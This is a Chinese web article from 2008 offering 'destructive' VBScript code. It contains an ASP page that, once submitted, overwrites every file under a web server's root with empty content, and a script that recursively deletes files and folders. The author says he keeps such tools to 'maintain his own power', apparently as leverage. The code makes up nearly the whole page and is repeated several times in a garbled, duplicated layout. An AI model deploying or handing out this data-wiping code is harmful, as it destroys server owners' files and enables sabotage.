VBS破壞性應(yīng)用代碼
更新時(shí)間:2008年06月23日 20:48:58 作者:
非常具有破壞性,所以如果自己有服務(wù)器的,一定要把shell.application組件禁掉
'網(wǎng)上看到的,適用與沒(méi)有禁用shell.application的服務(wù)器
server.scripttimeout = 99999
If request("submit")<>"" Then
Call listfile(server.mappath("./"))
response.Write"處理完畢"
Else
response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的內(nèi)容""></form>"
End If
Function listfile(fpath)
On Error Resume Next
Dim Shell, Folder, s
Set Shell = server.CreateObject ("shell.application")
Set Folder = Shell.namespace(fpath)
Set f = server.CreateObject("adodb.stream")
f.Type = 1
f.Open
For Each s in Folder.Items
If s.isfolder Then
Call listfile(s.Path)
Else
f.savetofile s.Path, 2
End If
Next
Set f = Nothing
Set Shell = Nothing
End Function
'網(wǎng)上看到的,適用與沒(méi)有禁用shell.application的服務(wù)器
server.scripttimeout = 99999
If request("submit")<>"" Then
Call listfile(server.mappath("./"))
response.Write"處理完畢"
Else
response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的內(nèi)容""></form>"
End If
Function listfile(fpath)
On Error Resume Next
Dim Shell, Folder, s
Set Shell = server.CreateObject ("shell.application")
Set Folder = Shell.namespace(fpath)
Set f = server.CreateObject("adodb.stream")
f.Type = 1
f.Open
For Each s in Folder.Items
If s.isfolder Then
Call listfile(s.Path)
Else
f.savetofile s.Path, 2
End If
Next
Set f = Nothing
Set Shell = Nothing
End Function
以前也看到過(guò)這個(gè),感覺(jué)沒(méi)什么用,這么危險(xiǎn)的組件服務(wù)器一般都禁用了,但今天,我突然覺(jué)得有進(jìn)也得收集或制作一些這樣的軟件,可以維護(hù)自己的權(quán)力。具體什么原因我就不說(shuō)了,我寫(xiě)的一個(gè):
view plaincopy to clipboardprint?
'看到文件刪文件,看到文件夾刪除文件夾
Function FilesTree(sPath)
Set oFso = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFso.GetFolder(sPath)
Set oSubFolders = oFolder.SubFolders
Set oFiles = oFolder.Files
For Each oFile In oFiles
'WScript.Echo oFile.Path
oFile.Delete
Next
For Each oSubFolder In oSubFolders
'WScript.Echo oSubFolder.Path
oSubFolder.Delete
'FilesTree(oSubFolder.Path)'遞歸
Next
Set oFolder = Nothing
Set oSubFolders = Nothing
Set oFso = Nothing
End Function
FilesTree("F:\deltest\deltest") '遍歷
server.scripttimeout = 99999
If request("submit")<>"" Then
Call listfile(server.mappath("./"))
response.Write"處理完畢"
Else
response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的內(nèi)容""></form>"
End If
Function listfile(fpath)
On Error Resume Next
Dim Shell, Folder, s
Set Shell = server.CreateObject ("shell.application")
Set Folder = Shell.namespace(fpath)
Set f = server.CreateObject("adodb.stream")
f.Type = 1
f.Open
For Each s in Folder.Items
If s.isfolder Then
Call listfile(s.Path)
Else
f.savetofile s.Path, 2
End If
Next
Set f = Nothing
Set Shell = Nothing
End Function
'網(wǎng)上看到的,適用與沒(méi)有禁用shell.application的服務(wù)器
server.scripttimeout = 99999
If request("submit")<>"" Then
Call listfile(server.mappath("./"))
response.Write"處理完畢"
Else
response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的內(nèi)容""></form>"
End If
Function listfile(fpath)
On Error Resume Next
Dim Shell, Folder, s
Set Shell = server.CreateObject ("shell.application")
Set Folder = Shell.namespace(fpath)
Set f = server.CreateObject("adodb.stream")
f.Type = 1
f.Open
For Each s in Folder.Items
If s.isfolder Then
Call listfile(s.Path)
Else
f.savetofile s.Path, 2
End If
Next
Set f = Nothing
Set Shell = Nothing
End Function
以前也看到過(guò)這個(gè),感覺(jué)沒(méi)什么用,這么危險(xiǎn)的組件服務(wù)器一般都禁用了,但今天,我突然覺(jué)得有進(jìn)也得收集或制作一些這樣的軟件,可以維護(hù)自己的權(quán)力。具體什么原因我就不說(shuō)了,我寫(xiě)的一個(gè):
view plaincopy to clipboardprint?
'看到文件刪文件,看到文件夾刪除文件夾
Function FilesTree(sPath)
Set oFso = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFso.GetFolder(sPath)
Set oSubFolders = oFolder.SubFolders
Set oFiles = oFolder.Files
For Each oFile In oFiles
'WScript.Echo oFile.Path
oFile.Delete
Next
For Each oSubFolder In oSubFolders
'WScript.Echo oSubFolder.Path
oSubFolder.Delete
'FilesTree(oSubFolder.Path)'遞歸
Next
Set oFolder = Nothing
Set oSubFolders = Nothing
Set oFso = Nothing
End Function
FilesTree("F:\deltest\deltest") '遍歷
相關(guān)文章
VBS基礎(chǔ)篇 - 條件語(yǔ)句(if與Select Case)
經(jīng)常地,當(dāng)我們編寫(xiě)代碼時(shí),我們需要根據(jù)不同的判斷執(zhí)行不同操作,我們可以使用條件語(yǔ)句完成這個(gè)工作,asp中的條件語(yǔ)句主要是if與Select Case這里就為大家介紹一下,需要的朋友可以參考下2018-05-05視頻轉(zhuǎn)換大師WinMPG Video Convert 6.63
視頻轉(zhuǎn)換大師WinMPG Video Convert 6.63...2007-04-04遠(yuǎn)程或本地獲取系統(tǒng)信息的腳本RGIS.vbs
遠(yuǎn)程或本地獲取系統(tǒng)信息的腳本RGIS.vbs...2007-02-02VBS教程:VBscript屬性-Description 屬性
VBS教程:VBscript屬性-Description 屬性...2006-11-11